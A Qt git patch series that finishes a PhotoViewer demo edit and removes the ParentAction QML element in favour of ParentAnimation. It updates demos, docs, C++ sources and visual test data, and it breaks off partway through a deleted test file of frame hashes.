--git a/demos/declarative/photoviewer/PhotoViewerCore/Tag.qml b/demos/declarative/photoviewer/PhotoViewerCore/Tag.qml index 438bd7c..d1e26e0 100644 --- a/demos/declarative/photoviewer/PhotoViewerCore/Tag.qml +++ b/demos/declarative/photoviewer/PhotoViewerCore/Tag.qml @@ -12,11 +12,13 @@ Flipable { signal frontClicked signal backClicked + signal tagChanged(string tag) - front: Button { + front: EditableButton { id: frontButton; rotation: flipable.randomAngle anchors { centerIn: parent; verticalCenterOffset: -20 } onClicked: flipable.frontClicked() + onLabelChanged: flipable.tagChanged(label) } back: Button { diff --git a/demos/declarative/photoviewer/PhotoViewerCore/qmldir b/demos/declarative/photoviewer/PhotoViewerCore/qmldir index f94a560..d3c247f 100644 --- a/demos/declarative/photoviewer/PhotoViewerCore/qmldir +++ b/demos/declarative/photoviewer/PhotoViewerCore/qmldir @@ -2,6 +2,7 @@ AlbumDelegate AlbumDelegate.qml PhotoDelegate PhotoDelegate.qml ProgressBar ProgressBar.qml RssModel RssModel.qml +BusyIndicator BusyIndicator.qml +EditableButton EditableButton.qml Button Button.qml Tag Tag.qml -BusyIndicator BusyIndicator.qml -- cgit v0.12 From 7711d400e4ad4d65363bc910d76acdf0d1065195 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Tue, 23 Mar 2010 11:12:46 +1000 Subject: Remove ParentAction. It has been replaced with ParentAnimation. --- demos/declarative/flickr/flickr-desktop.qml | 10 +- demos/declarative/flickr/mobile/GridDelegate.qml | 10 +- doc/src/declarative/elements.qdoc | 1 - src/declarative/QmlChanges.txt | 1 + src/declarative/util/qdeclarativeanimation.cpp | 216 +--- src/declarative/util/qdeclarativeanimation_p.h | 27 - src/declarative/util/qdeclarativeanimation_p_p.h | 16 - .../util/qdeclarativestateoperations.cpp | 2 +- src/declarative/util/qdeclarativeutilmodule.cpp | 1 - .../animation/parentAction/data/parentAction.0.png | Bin 1652 -> 0 bytes .../animation/parentAction/data/parentAction.1.png | Bin 1492 -> 0 bytes .../animation/parentAction/data/parentAction.2.png | Bin 1424 -> 0 bytes .../animation/parentAction/data/parentAction.3.png | Bin 1583 -> 0 bytes .../animation/parentAction/data/parentAction.4.png | Bin 1640 -> 0 bytes .../animation/parentAction/data/parentAction.5.png | Bin 1640 -> 0 bytes .../animation/parentAction/data/parentAction.qml | 1207 -------------------- .../visual/animation/parentAction/parentAction.qml | 55 - 17 files changed, 19 insertions(+), 1527 deletions(-) delete mode 100644 tests/auto/declarative/visual/animation/parentAction/data/parentAction.0.png delete mode 100644 tests/auto/declarative/visual/animation/parentAction/data/parentAction.1.png delete mode 100644 tests/auto/declarative/visual/animation/parentAction/data/parentAction.2.png delete mode 100644 tests/auto/declarative/visual/animation/parentAction/data/parentAction.3.png delete mode 100644 tests/auto/declarative/visual/animation/parentAction/data/parentAction.4.png delete mode 100644 tests/auto/declarative/visual/animation/parentAction/data/parentAction.5.png delete mode 100644 tests/auto/declarative/visual/animation/parentAction/data/parentAction.qml delete mode 100644 tests/auto/declarative/visual/animation/parentAction/parentAction.qml diff --git a/demos/declarative/flickr/flickr-desktop.qml b/demos/declarative/flickr/flickr-desktop.qml index 4de2202..63b6ea2 100644 --- a/demos/declarative/flickr/flickr-desktop.qml +++ b/demos/declarative/flickr/flickr-desktop.qml @@ -83,15 +83,17 @@ Item { Transition { from: "*"; to: "Details" SequentialAnimation { - ParentAction { } - NumberAnimation { properties: "x,y,scale,opacity,angle"; duration: 500; easing.type: "InOutQuad" } + ParentAnimation { + NumberAnimation { properties: "x,y,scale,opacity,angle"; duration: 500; easing.type: "InOutQuad" } + } } }, Transition { from: "Details"; to: "*" SequentialAnimation { - ParentAction { } - NumberAnimation { properties: "x,y,scale,opacity,angle"; duration: 500; easing.type: "InOutQuad" } + ParentAnimation { + NumberAnimation { properties: "x,y,scale,opacity,angle"; duration: 500; easing.type: "InOutQuad" } + } PropertyAction { targets: wrapper; properties: "z" } } } diff --git a/demos/declarative/flickr/mobile/GridDelegate.qml b/demos/declarative/flickr/mobile/GridDelegate.qml index 767315c..b54585b 100644 --- a/demos/declarative/flickr/mobile/GridDelegate.qml +++ b/demos/declarative/flickr/mobile/GridDelegate.qml @@ -52,14 +52,16 @@ transitions: [ Transition { from: "Show"; to: "Details" - ParentAction { } - NumberAnimation { properties: "x,y"; duration: 500; easing.type: "InOutQuad" } + ParentAnimation { + NumberAnimation { properties: "x,y"; duration: 500; easing.type: "InOutQuad" } + } }, Transition { from: "Details"; to: "Show" SequentialAnimation { - ParentAction { } - NumberAnimation { properties: "x,y"; duration: 500; easing.type: "InOutQuad" } + ParentAnimation { + NumberAnimation { properties: "x,y"; duration: 500; easing.type: "InOutQuad" } + } PropertyAction { targets: wrapper; properties: "z" } } } diff --git a/doc/src/declarative/elements.qdoc b/doc/src/declarative/elements.qdoc index 75f8b97..e35d67c 100644 --- a/doc/src/declarative/elements.qdoc +++ b/doc/src/declarative/elements.qdoc @@ -78,7 +78,6 @@ The following table lists the QML elements provided by the Qt Declarative module \o \l ParentAnimation \o \l AnchorAnimation \o \l PropertyAction -\o \l ParentAction \o \l ScriptAction \o \l Transition \o \l SpringFollow diff --git a/src/declarative/QmlChanges.txt b/src/declarative/QmlChanges.txt index 5da0f13..1d96688 100644 --- a/src/declarative/QmlChanges.txt +++ b/src/declarative/QmlChanges.txt @@ -10,6 +10,7 @@ Removed DateTimeFormatter (use Qt.formatDateTime() instead) Using WebView now requires "import org.webkit 1.0" Using Particles now requires "import Qt.labs.particles 1.0" AnchorAnimation must now be used to animate anchor changes (and not NumberAnimation) +Removed ParentAction (use ParentAnimation instead) C++ API ------- diff --git a/src/declarative/util/qdeclarativeanimation.cpp b/src/declarative/util/qdeclarativeanimation.cpp index d47dcc5..858f9f2 100644 --- a/src/declarative/util/qdeclarativeanimation.cpp +++ b/src/declarative/util/qdeclarativeanimation.cpp @@ -1006,212 +1006,6 @@ void QDeclarativePropertyAction::transition(QDeclarativeStateActions &actions, } } - - -/*! - \qmlclass ParentAction QDeclarativeParentAction - \since 4.7 - \inherits Animation - \brief The ParentAction element allows parent changes during animation. - - ParentAction provides a way to specify at what point in a Transition a ParentChange should - occur. - \qml - State { - ParentChange { - target: myItem - parent: newParent - } - } - Transition { - SequentialAnimation { - PropertyAnimation { ... } - ParentAction {} //reparent myItem now - PropertyAnimation { ... } - } - } - \endqml - - It also provides a way to explicitly reparent an item during an animation. - \qml - SequentialAnimation { - ParentAction { target: myItem; parent: newParent } - PropertyAnimation {} - } - \endqml - - The ParentAction is immediate - it is not animated in any way. -*/ - -QDeclarativeParentAction::QDeclarativeParentAction(QObject *parent) -: QDeclarativeAbstractAnimation(*(new QDeclarativeParentActionPrivate), parent) -{ - Q_D(QDeclarativeParentAction); - d->init(); -} - -QDeclarativeParentAction::~QDeclarativeParentAction() -{ -} - -void QDeclarativeParentActionPrivate::init() -{ - Q_Q(QDeclarativeParentAction); - cpa = new QActionAnimation; - QDeclarative_setParent_noEvent(cpa, q); -} - -/*! - \qmlproperty Item ParentAction::target - - This property holds a target item to reparent. - - In the following example, \c myItem will be reparented by the ParentAction, while - \c myOtherItem will not. - \qml - State { - ParentChange { - target: myItem - parent: newParent - } - ParentChange { - target: myOtherItem - parent: otherNewParent - } - } - Transition { - SequentialAnimation { - PropertyAnimation { ... } - ParentAction { target: myItem } - PropertyAnimation { ... } - } - } - \endqml - - */ -QDeclarativeItem *QDeclarativeParentAction::object() const -{ - Q_D(const QDeclarativeParentAction); - return d->pcTarget; -} - -void QDeclarativeParentAction::setObject(QDeclarativeItem *target) -{ - Q_D(QDeclarativeParentAction); - d->pcTarget = target; -} - -/*! - \qmlproperty Item ParentAction::parent - - The item to reparent to (i.e. the new parent). - */ -QDeclarativeItem *QDeclarativeParentAction::parent() const -{ - Q_D(const QDeclarativeParentAction); - return d->pcParent; -} - -void QDeclarativeParentAction::setParent(QDeclarativeItem *parent) -{ - Q_D(QDeclarativeParentAction); - d->pcParent = parent; -} - -void QDeclarativeParentActionPrivate::doAction() -{ - QDeclarativeParentChange pc; - pc.setObject(pcTarget); - pc.setParent(pcParent); - pc.execute(); -} - -QAbstractAnimation *QDeclarativeParentAction::qtAnimation() -{ - Q_D(QDeclarativeParentAction); - return d->cpa; -} - -void QDeclarativeParentAction::transition(QDeclarativeStateActions &actions, - QDeclarativeProperties &modified, - TransitionDirection direction) -{ - Q_D(QDeclarativeParentAction); - Q_UNUSED(modified); - Q_UNUSED(direction); - - struct QDeclarativeParentActionData : public QAbstractAnimationAction - { - QDeclarativeParentActionData(): pc(0) {} - ~QDeclarativeParentActionData() { delete pc; } - - QDeclarativeStateActions actions; - bool reverse; - QDeclarativeParentChange *pc; - virtual void doAction() - { - for (int ii = 0; ii < actions.count(); ++ii) { - const QDeclarativeAction &action = actions.at(ii); - if (reverse) - action.event->reverse(); - else - action.event->execute(); - } - } - }; - - QDeclarativeParentActionData *data = new QDeclarativeParentActionData; - - //### need to correctly handle modified/done - - bool hasExplicit = false; - if (d->pcTarget && d->pcParent) { - data->reverse = false; - QDeclarativeAction myAction; - QDeclarativeParentChange *pc = new QDeclarativeParentChange; - pc->setObject(d->pcTarget); - pc->setParent(d->pcParent); - myAction.event = pc; - data->pc = pc; - data->actions << myAction; - hasExplicit = true; - } - - if (!hasExplicit) - for (int ii = 0; ii < actions.count(); ++ii) { - QDeclarativeAction &action = actions[ii]; - - if (action.event && action.event->typeName() == QLatin1String("ParentChange") - && (!d->pcTarget || static_cast(action.event)->object() == d->pcTarget)) { - QDeclarativeAction myAction = action; - data->reverse = action.reverseEvent; - //### this logic differs from PropertyAnimation - // (probably a result of modified vs. done) - if (d->pcParent) { - //### should we disallow this case? - QDeclarativeParentChange *pc = new QDeclarativeParentChange; - pc->setObject(d->pcTarget); - pc->setParent(static_cast(action.event)->parent()); - myAction.event = pc; - data->pc = pc; - data->actions << myAction; - break; //only match one - } else { - action.actionDone = true; - data->actions << myAction; - } - } - } - - if (data->actions.count()) { - d->cpa->setAnimAction(data, QAbstractAnimation::DeleteWhenStopped); - } else { - delete data; - } -} - - - /*! \qmlclass NumberAnimation QDeclarativeNumberAnimation \since 4.7 @@ -2561,10 +2355,10 @@ void QDeclarativeParentAnimation::transition(QDeclarativeStateActions &actions, { Q_D(QDeclarativeParentAnimation); - struct QDeclarativeParentActionData : public QAbstractAnimationAction + struct QDeclarativeParentAnimationData : public QAbstractAnimationAction { - QDeclarativeParentActionData() {} - ~QDeclarativeParentActionData() { qDeleteAll(pc); } + QDeclarativeParentAnimationData() {} + ~QDeclarativeParentAnimationData() { qDeleteAll(pc); } QDeclarativeStateActions actions; //### reverse should probably apply on a per-action basis @@ -2582,8 +2376,8 @@ void QDeclarativeParentAnimation::transition(QDeclarativeStateActions &actions, } }; - QDeclarativeParentActionData *data = new QDeclarativeParentActionData; - QDeclarativeParentActionData *viaData = new QDeclarativeParentActionData; + QDeclarativeParentAnimationData *data = new QDeclarativeParentAnimationData; + QDeclarativeParentAnimationData *viaData = new QDeclarativeParentAnimationData; bool hasExplicit = false; if (d->target && d->newParent) { diff --git a/src/declarative/util/qdeclarativeanimation_p.h b/src/declarative/util/qdeclarativeanimation_p.h index 925eb36..cb8ea3b 100644 --- a/src/declarative/util/qdeclarativeanimation_p.h +++ b/src/declarative/util/qdeclarativeanimation_p.h @@ -227,32 +227,6 @@ protected: }; class QDeclarativeItem; -class QDeclarativeParentActionPrivate; -class QDeclarativeParentAction : public QDeclarativeAbstractAnimation -{ - Q_OBJECT - Q_DECLARE_PRIVATE(QDeclarativeParentAction) - - Q_PROPERTY(QDeclarativeItem *target READ object WRITE setObject) - Q_PROPERTY(QDeclarativeItem *parent READ parent WRITE setParent) //### newParent - -public: - QDeclarativeParentAction(QObject *parent=0); - virtual ~QDeclarativeParentAction(); - - QDeclarativeItem *object() const; - void setObject(QDeclarativeItem *); - - QDeclarativeItem *parent() const; - void setParent(QDeclarativeItem *); - -protected: - virtual void transition(QDeclarativeStateActions &actions, - QDeclarativeProperties &modified, - TransitionDirection direction); - virtual QAbstractAnimation *qtAnimation(); -}; - class QDeclarativePropertyAnimationPrivate; class Q_AUTOTEST_EXPORT QDeclarativePropertyAnimation : public QDeclarativeAbstractAnimation { @@ -506,7 +480,6 @@ QML_DECLARE_TYPE(QDeclarativeAbstractAnimation) QML_DECLARE_TYPE(QDeclarativePauseAnimation) QML_DECLARE_TYPE(QDeclarativeScriptAction) QML_DECLARE_TYPE(QDeclarativePropertyAction) -QML_DECLARE_TYPE(QDeclarativeParentAction) QML_DECLARE_TYPE(QDeclarativePropertyAnimation) QML_DECLARE_TYPE(QDeclarativeColorAnimation) QML_DECLARE_TYPE(QDeclarativeNumberAnimation) diff --git a/src/declarative/util/qdeclarativeanimation_p_p.h b/src/declarative/util/qdeclarativeanimation_p_p.h index 0460312..8ed745d 100644 --- a/src/declarative/util/qdeclarativeanimation_p_p.h +++ b/src/declarative/util/qdeclarativeanimation_p_p.h @@ -300,22 +300,6 @@ public: QActionAnimation *spa; }; -class QDeclarativeParentActionPrivate : public QDeclarativeAbstractAnimationPrivate -{ - Q_DECLARE_PUBLIC(QDeclarativeParentAction) -public: - QDeclarativeParentActionPrivate() - : QDeclarativeAbstractAnimationPrivate(), pcTarget(0), pcParent(0) {} - - void init(); - - QDeclarativeItem *pcTarget; - QDeclarativeItem *pcParent; - - void doAction(); - QActionAnimation *cpa; -}; - class QDeclarativeAnimationGroupPrivate : public QDeclarativeAbstractAnimationPrivate { Q_DECLARE_PUBLIC(QDeclarativeAnimationGroup) diff --git a/src/declarative/util/qdeclarativestateoperations.cpp b/src/declarative/util/qdeclarativestateoperations.cpp index 96c75a9..163d220 100644 --- a/src/declarative/util/qdeclarativestateoperations.cpp +++ b/src/declarative/util/qdeclarativestateoperations.cpp @@ -168,7 +168,7 @@ void QDeclarativeParentChangePrivate::doChange(QDeclarativeItem *targetParent, Q for the original and new parent). You can specify at which point in a transition you want a ParentChange to occur by - using a ParentAnimation or ParentAction. + using a ParentAnimation. */ diff --git a/src/declarative/util/qdeclarativeutilmodule.cpp b/src/declarative/util/qdeclarativeutilmodule.cpp index cb35734..46c9b73 100644 --- a/src/declarative/util/qdeclarativeutilmodule.cpp +++ b/src/declarative/util/qdeclarativeutilmodule.cpp @@ -85,7 +85,6 @@ void QDeclarativeUtilModule::defineModule() qmlRegisterType("Qt",4,6,"NumberAnimation"); qmlRegisterType("Qt",4,6,"Package"); qmlRegisterType("Qt",4,6,"ParallelAnimation"); - qmlRegisterType("Qt",4,6,"ParentAction"); qmlRegisterType("Qt",4,6,"ParentAnimation"); qmlRegisterType("Qt",4,6,"ParentChange"); qmlRegisterType("Qt",4,6,"PauseAnimation"); diff --git a/tests/auto/declarative/visual/animation/parentAction/data/parentAction.0.png b/tests/auto/declarative/visual/animation/parentAction/data/parentAction.0.png deleted file mode 100644 index a0032f8..0000000 Binary files a/tests/auto/declarative/visual/animation/parentAction/data/parentAction.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/parentAction/data/parentAction.1.png b/tests/auto/declarative/visual/animation/parentAction/data/parentAction.1.png deleted file mode 100644 index 958b6af..0000000 Binary files a/tests/auto/declarative/visual/animation/parentAction/data/parentAction.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/parentAction/data/parentAction.2.png b/tests/auto/declarative/visual/animation/parentAction/data/parentAction.2.png deleted file mode 100644 index 3a1811f..0000000 Binary files a/tests/auto/declarative/visual/animation/parentAction/data/parentAction.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/parentAction/data/parentAction.3.png b/tests/auto/declarative/visual/animation/parentAction/data/parentAction.3.png deleted file mode 100644 index 36064c2..0000000 Binary files a/tests/auto/declarative/visual/animation/parentAction/data/parentAction.3.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/parentAction/data/parentAction.4.png b/tests/auto/declarative/visual/animation/parentAction/data/parentAction.4.png deleted file mode 100644 index c493a1d..0000000 Binary files a/tests/auto/declarative/visual/animation/parentAction/data/parentAction.4.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/parentAction/data/parentAction.5.png b/tests/auto/declarative/visual/animation/parentAction/data/parentAction.5.png deleted file mode 100644 index c493a1d..0000000 Binary files a/tests/auto/declarative/visual/animation/parentAction/data/parentAction.5.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/parentAction/data/parentAction.qml b/tests/auto/declarative/visual/animation/parentAction/data/parentAction.qml deleted file mode 100644 index de27af7..0000000 --- a/tests/auto/declarative/visual/animation/parentAction/data/parentAction.qml +++ /dev/null @@ -1,1207 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 32 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 48 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 64 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 80 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 96 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 112 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 128 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 144 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 160 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 176 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 192 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 208 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 224 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 240 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 256 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 272 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 288 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 304 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 320 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 336 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 352 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 368 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 384 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 400 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 416 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 432 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 448 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 464 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 480 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 496 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 512 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 528 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 544 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 560 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 576 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 150; y: 274 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 592 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 608 - hash: "a7bb3d44c8bcf403906afa86f5bc3062" - } - Frame { - msec: 624 - hash: "2b366e6009e70fa0227a1fee662fe1bf" - } - Frame { - msec: 640 - hash: "c12869fb8002aa36c3bfad7fd0979240" - } - Frame { - msec: 656 - hash: "56c583e77b5e0a8707e977dc937c2acf" - } - Frame { - msec: 672 - hash: "6b191d57a45a3f2d010a7f44064e409a" - } - Frame { - msec: 688 - hash: "9457ee33c999a63fa4bd4db5c3ceac8b" - } - Frame { - msec: 704 - hash: "446b23b662640ad6ad8c456f956fe73a" - } - Frame { - msec: 720 - hash: "23c59708069406486e4979c7d59f3f4a" - } - Frame { - msec: 736 - hash: "c9ce43ddca79b5b6f26af2c2259dc071" - } - Frame { - msec: 752 - hash: "e838229ba70c30112918f19bb471fa34" - } - Frame { - msec: 768 - hash: "0cbaeddb2ff6408a37a68fc685e2bca0" - } - Frame { - msec: 784 - hash: "616b4ec719586b151ba3d709e51038bf" - } - Frame { - msec: 800 - hash: "89b2c709f5c3083c204a9450e605c1d4" - } - Frame { - msec: 816 - hash: "427a5c2d13631d899ff2d673e762f114" - } - Frame { - msec: 832 - hash: "958aa9ca5a6b91aa6dfbc2a1ae3e2deb" - } - Frame { - msec: 848 - hash: "09a3ac0010ed8f3df2cfa7ed9d0a92e4" - } - Frame { - msec: 864 - hash: "5607ea54f9990f3232d6f56080e1ef15" - } - Frame { - msec: 880 - hash: "600682467c55288b9d5e65299637dd72" - } - Frame { - msec: 896 - hash: "bc7a238611574a13650f854ceac35032" - } - Frame { - msec: 912 - hash: "e5f6b19b3685a96d4d0c3b8384513643" - } - Frame { - msec: 928 - hash: "d5d23b0fc09136fd1ae121e311866cc3" - } - Frame { - msec: 944 - hash: "5099e5edd1a6bd37f5f6c836a6ca7644" - } - Frame { - msec: 960 - image: "parentAction.0.png" - } - Frame { - msec: 976 - hash: "97dd20f7774cfd8379e1d1b44f8ddc7b" - } - Frame { - msec: 992 - hash: "ab2deea9e4f8c43ed58b5a355800ecda" - } - Frame { - msec: 1008 - hash: "88ec383ce368259d3cc18612b6f5b941" - } - Frame { - msec: 1024 - hash: "f84b20b849a77e50717f99b9d844240e" - } - Frame { - msec: 1040 - hash: "6c042360c2d24ad56cec32d01ce82d6b" - } - Frame { - msec: 1056 - hash: "c86b464720192f3e039fa5d8ab5f09bb" - } - Frame { - msec: 1072 - hash: "35ec432fdf91fcd1dfcd945cfe785b09" - } - Frame { - msec: 1088 - hash: "27a2ec28e4fef006622e8211fd709853" - } - Frame { - msec: 1104 - hash: "8454d1f5ed89551e2a403c869885116a" - } - Frame { - msec: 1120 - hash: "7e33aed53dc4338c168274d972c8e711" - } - Frame { - msec: 1136 - hash: "e0192ea2049d6bae6012f00406630a92" - } - Frame { - msec: 1152 - hash: "a2ea5489a373084169024035a0f69e71" - } - Frame { - msec: 1168 - hash: "6947a72c4d959b90dafdaddcac815b3e" - } - Frame { - msec: 1184 - hash: "0e22cc3c96d0934095b7254f0f28b18b" - } - Frame { - msec: 1200 - hash: "72529ddc6f2678a783aedf445d7038a4" - } - Frame { - msec: 1216 - hash: "38f03c0ee50488ffd23a2fb3d3445461" - } - Frame { - msec: 1232 - hash: "b441721ed30c787874a2a71a94e1ba44" - } - Frame { - msec: 1248 - hash: "1e37f26d78590414b2ef01c72ad136a9" - } - Frame { - msec: 1264 - hash: "88e4af80d068485ebd8c3d51f9bbfe8d" - } - Frame { - msec: 1280 - hash: "107707216c16c629d8409cf006f9f2dc" - } - Frame { - msec: 1296 - hash: "f56f3f4f140ac072f7df47eddfc76844" - } - Frame { - msec: 1312 - hash: "41239a9d8ed793c24967875aabeae8a5" - } - Frame { - msec: 1328 - hash: "30035e37320dae4f9ead01a30895eb38" - } - Frame { - msec: 1344 - hash: "fb2f535b42b862b65f8adb3ad1a46779" - } - Frame { - msec: 1360 - hash: "e10ba7f74d52fc963e20a4647ff0d620" - } - Frame { - msec: 1376 - hash: "5abf5388566bed2fdb71afc8cd7cfe9b" - } - Frame { - msec: 1392 - hash: "91990471563e3c8292e8e8325a1d17a2" - } - Frame { - msec: 1408 - hash: "59a6293a48f83a9197adcffed3f32f15" - } - Frame { - msec: 1424 - hash: "db3e75df318e9f0d239ce9b76e92eff3" - } - Frame { - msec: 1440 - hash: "3b5c64bc64a701edb5c2e40b23443bc3" - } - Frame { - msec: 1456 - hash: "9db08c0375148b2317427591b5f43608" - } - Frame { - msec: 1472 - hash: "2d761f1530846eff87a7625a120e0afd" - } - Frame { - msec: 1488 - hash: "c5460f8c58b83c2ac15842ddb023ad4f" - } - Frame { - msec: 1504 - hash: "0efb51810a2dc359c7964268c98ea8eb" - } - Frame { - msec: 1520 - hash: "b92a42012df57eb261badf1f518b8e67" - } - Frame { - msec: 1536 - hash: "8d348bae62af2d35bdfee806a1c39910" - } - Frame { - msec: 1552 - hash: "762d9bb4ed11d249bfd902a541129d60" - } - Frame { - msec: 1568 - hash: "bddbd9f64a9f7156984feccd5fa94093" - } - Frame { - msec: 1584 - hash: "353a98e1573b0518941ff22bf2776244" - } - Frame { - msec: 1600 - hash: "1765aed97e29f25dee93a77a06557b82" - } - Frame { - msec: 1616 - hash: "73b5c2bdb7f268f7a33e129c8ba44013" - } - Frame { - msec: 1632 - hash: "46ac1976fb9932d0ef6e0b5927386ad9" - } - Frame { - msec: 1648 - hash: "90b5b5b46c9c352e8be41cc74f96133a" - } - Frame { - msec: 1664 - hash: "0efe0036577c890fd45cd7dd53014616" - } - Frame { - msec: 1680 - hash: "7f32df17481abf40ccb33afe6d17085d" - } - Frame { - msec: 1696 - hash: "1fa8544c48a476764f4f8278c14b651d" - } - Frame { - msec: 1712 - hash: "f8f06ece30f690deeba5999ce63bf40b" - } - Frame { - msec: 1728 - hash: "885b230f4b2fe380c7cf68955940d206" - } - Frame { - msec: 1744 - hash: "d0fc5aa4df46099bb46a1d7db30baa09" - } - Frame { - msec: 1760 - hash: "8fa7fe5197cbe1ff67f8a2c47f1f0740" - } - Frame { - msec: 1776 - hash: "aa3b3b03460daf54f085551e1a46c08b" - } - Frame { - msec: 1792 - hash: "35a1728a2430027a9474fb7d61090643" - } - Frame { - msec: 1808 - hash: "2b1cff3986b8b03f1061176a4722b0f9" - } - Frame { - msec: 1824 - hash: "8047be1b35ee3d5078a68c6cdc35eeb7" - } - Frame { - msec: 1840 - hash: "7f7afa48bb7d612b354c8488e72c8339" - } - Frame { - msec: 1856 - hash: "691a876caefce9aa0f5140c17059b8f4" - } - Frame { - msec: 1872 - hash: "903bec66e47db766dc431f060726988c" - } - Frame { - msec: 1888 - hash: "f13593fc891f0b050c01b61963019da1" - } - Frame { - msec: 1904 - hash: "aa00de965bdb370a5974b195c3fb38af" - } - Frame { - msec: 1920 - image: "parentAction.1.png" - } - Frame { - msec: 1936 - hash: "168d3e27261c0943e6262b6be27adfb0" - } - Frame { - msec: 1952 - hash: "6fafebd0b396e7c0a78c767c6af936ba" - } - Frame { - msec: 1968 - hash: "827e3a3fcd6fd8588e9fcc043769b3a8" - } - Frame { - msec: 1984 - hash: "155329bf1c1a6f6c37bf7e6e8a92c59b" - } - Frame { - msec: 2000 - hash: "d3008d1e7cee5170171699ef6fb9aa81" - } - Frame { - msec: 2016 - hash: "5c1244e7806e131a6063f22a66e4eb12" - } - Frame { - msec: 2032 - hash: "fcd6b372229a6cf14face81e9d614456" - } - Frame { - msec: 2048 - hash: "bf1a375a81bf43c5671cccc62e9a0462" - } - Frame { - msec: 2064 - hash: "0e22404508470baaa6621f37361951fa" - } - Frame { - msec: 2080 - hash: "45046f28c103caa161e41861f71731c4" - } - Frame { - msec: 2096 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2112 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2128 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2144 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2160 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2176 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2192 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2208 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2224 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2240 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2256 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2272 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2288 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2304 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2320 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2336 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2352 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2368 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2384 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2400 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2416 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2432 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2448 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2464 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2480 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2496 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2512 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - 